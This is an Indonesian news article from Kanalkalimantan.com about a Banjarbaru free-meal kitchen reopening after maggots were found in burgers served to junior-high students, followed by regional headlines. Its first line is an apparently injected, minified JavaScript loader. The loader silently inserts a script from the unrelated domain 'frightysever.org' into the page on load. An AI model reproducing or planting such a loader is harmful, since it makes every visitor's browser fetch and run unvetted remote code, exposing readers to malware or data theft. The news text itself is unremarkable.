(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Satuan Pelayanan Pemenuhan Gizi (SPPG) Landasan Ulin Utara 1 Kota Banjarbaru dipastikan beroperasi kembali mulai terhitung Rabu 26 November 2025.
Koordinator Wilayah (Korwil) SPPG Kota Banjarbaru, Citra Nurfitriani, mengatakan Badan Gizi Nasional (BGN) memutuskan dapur Makan Bergizi Gratis (MBG) itu dapat kembali menyalurkan paket makanan pasca temuan sebagian menu yang tidak layak pada Jumat (24/10/2025) lalu.
“Keputusan ini atas pertimbangan BGN yang menilai tSPPG Landasan Ulin Utara 1 memenuhi syarat operasional,” ujar Citra Nurfitriani, Rabu (26/11/2025).
Baca juga: PLN UPT Balikpapan Kumpulkan 38 Kantong Darah dalam Aksi Sosial Hari Pahlawan
SPPG atau dapur MBG yang terletak di Jalan Carakajaya Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang itu dinilai memenuhi persyaratan untuk beroperasional kembali.
Dia menyebut SPPG Landasan Ulin Utara 1 telah mendapatkan Setifikat Laik Higiene Sanitasi (SLHS) yang dikeluarkan Dinas Kesehatan.
Setelah SLHS diterbitkan, dapur MBG masih berjalan melengkapi sertifikat lainnya seperti sertifikat halal dan sertifikat juru masak atau chef sekaligus melengkapi sarana prasarana lainnya.
Adapun alasan SPPG Landasan Ulin Utara 1 dihentikan operasional karena temuan sebagian menu MBG burger yang didapati belatung.
Baca juga: Banjarbaru Raih Indeks Capaian SPM Pendidikan dan RLS Terbaik se Kalsel
Menu tersebut diterima dan terlanjur disantap oleh sejumlah pelajar di SMPN 10 Banjarbaru
Setelah kejadian tersebut Kepala SMPN 10 Banjarbaru, M Zaid Setiawan, mengatakan siswanya didapati sebagian merasakan dampak psikologis setelah sempat mengonsumsi makanan yang ditemukan berbelatung.
“Sebagian kecil siswa saja yakni di dua kelas VII dan VIII, itu pun tidak semua isinya,” ujar Kepala SMPN 10 Banjarbaru, Moh. Zaid Setiawan kepada Kanalkalimantan.com, Kamis (30/10/2025) lalu.
Meski sebagian siswanya juga sempat mengalami shock karena sudah terlanjur memakan sebagian makanannya. Namun Zaid memastikan seluruh kegiatan di sekolah tetap berjalan normal dan kondusif pasca insiden tersebut.
Baca juga: Sambut Hari Pahlawan, PLN Tingkatkan Keandalan Sistem Kelistrikan di Kalselteng
“Alhamdulillah aktivitas belajar mengajar sejak Senin berjalan baik. Anak-anak tidak menunjukkan gejala yang dikhawatirkan pasca kejadian Jumat lalu,” ungkapnya.
Terhitung sekitar sebulan ditutup, SPPG ini pun dipastikan akan kembali memasak dan menyalurkan paket MBG ke sekolah-sekolah seperti semula.
(Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.